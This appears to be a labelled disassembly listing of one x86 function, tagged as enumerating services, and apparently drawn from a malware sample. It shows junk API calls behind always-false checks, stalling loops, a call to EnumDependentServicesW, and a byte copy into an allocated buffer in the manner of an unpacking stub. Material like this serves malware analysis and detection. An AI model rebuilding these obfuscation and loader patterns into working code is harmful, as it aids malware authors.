Function at 0x40d7b9
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c48
call fcn.0040b1d0
mov eax, dword [0x47e090]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
xor eax, eax
cmp eax, 0x180
jne 0x40d7ee
mov ecx, dword [0x4814c4]
add ecx, 0x9e49
mov dword [0x276a12c], ecx
cmp dword [0x276a12c], 0x141
jne 0x40d80b
or dword [0x48215c], 0xffffffff
mov dword [0x482158], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x40d7d5
push esi
push edi
xor esi, esi
cmp esi, 0x562d05
jne 0x40d829
mov eax, dword [0x47f0b8]
mov dword [0x276a130], eax
cmp dword [0x276a12c], 0x3c
jne 0x40d83f
push str.tocozihawinajevarekoyurimave
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
inc esi
cmp esi, 0x5f6c74
jl 0x40d817
cmp dword [0x276a12c], 0x7c
jne 0x40d96a
push ebx
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x1c3c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
lea eax, [ebp - 0x1c40]
push eax
push ebx
lea eax, [ebp - 0x1404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ebx
push ebx
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push str.hexihezih
call dword [sym.imp.KERNEL32.dll_AddAtomA]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
xor eax, eax
mov word [ebp - 0x1c34], ax
lea edi, [ebp - 0x1c32]
stosw word es:[edi], ax
mov word [ebp - 0x1c30], ax
lea edi, [ebp - 0x1c2e]
stosw word es:[edi], ax
lea eax, [ebp - 0x1c48]
push eax
push dword [ebp - 0x1c30]
lea eax, [ebp - 0x1c38]
push dword [ebp - 0x1c34]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push ebx
lea eax, [ebp - 0x1c04]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
cmp dword [0x276a12c], 0x11
jne 0x40d950
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
lea eax, [ebp - 0x1c34]
push eax
lea eax, [ebp - 0x1c30]
push eax
push ebx
lea eax, [ebp - 0x1c28]
push eax
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
push str.pununicapigezapaciyiwexa_fuvayariheduraciz__s__d__f
push ebx
call fcn.00401e22
push ebx
call fcn.00402025
push ebx
call fcn.0040203b
add esp, 0x10
cmp dword [0x276a12c], 0x110a
jne 0x40da12
push ebx
push ebx
mov dword [0x2769ff8], ebx
mov dword [0x2769ffc], ebx
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push ebx
push ebx
call fcn.00401c43
pop ecx
pop ecx
xor eax, eax
push 1
lea esi, [ebp - 0x1c20]
mov dword [ebp - 0x1c08], 7
mov dword [ebp - 0x1c0c], ebx
mov word [ebp - 0x1c1c], ax
call fcn.00401091
push ebx
push ebx
call fcn.00401c43
mov edi, 0x47bc40
push edi
push str._s__c
mov esi, 0x4820d0
push esi
call fcn.00402184
push ebx
push ebx
call fcn.00401c43
push ebx
call fcn.00401cd2
push ebx
call fcn.00401fc9
push ebx
call fcn.00401cd2
push edi
push esi
call fcn.00401e22
push ebx
call fcn.0040216d
add esp, 0x34
push 1
xor ebx, ebx
lea esi, [ebp - 0x1c20]
call fcn.0040104c
push dword [0x276a12c]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
pop edi
mov dword [0x2769e4c], eax
pop esi
cmp dword [0x276a12c], ebx
jbe 0x40da73
mov eax, dword [0x276a130]
mov dword [ebp - 0x1c30], eax
mov eax, 0x9e49
add dword [ebp - 0x1c30], eax
mov eax, dword [ebp - 0x1c30]
mov al, byte [eax + ecx]
mov edx, dword [0x2769e4c]
mov byte [edx + ecx], al
mov eax, dword [0x276a12c]
cmp eax, 0x5ab
jne 0x40da6e
mov dword [0x2769e50], 0x19b0
inc ecx
cmp ecx, eax
jb 0x40da30
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040d52d
call fcn.0040d50f
call fcn.0040d772
xor eax, eax
cmp eax, 0xd606b
jne 0x40da9b
call fcn.0040d504
inc eax
cmp eax, 0x24e87d
jl 0x40da8f
mov dword [0x2769e54], 0x8e46a6f0
cmp ebx, 0x408e
jle 0x40dac1
cmp dword [ebp - 0x1c24], 0xf5bed7
jne 0x40daca
inc ebx
cmp ebx, 0x687ed2
jl 0x40daad
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00401ab5
leave
ret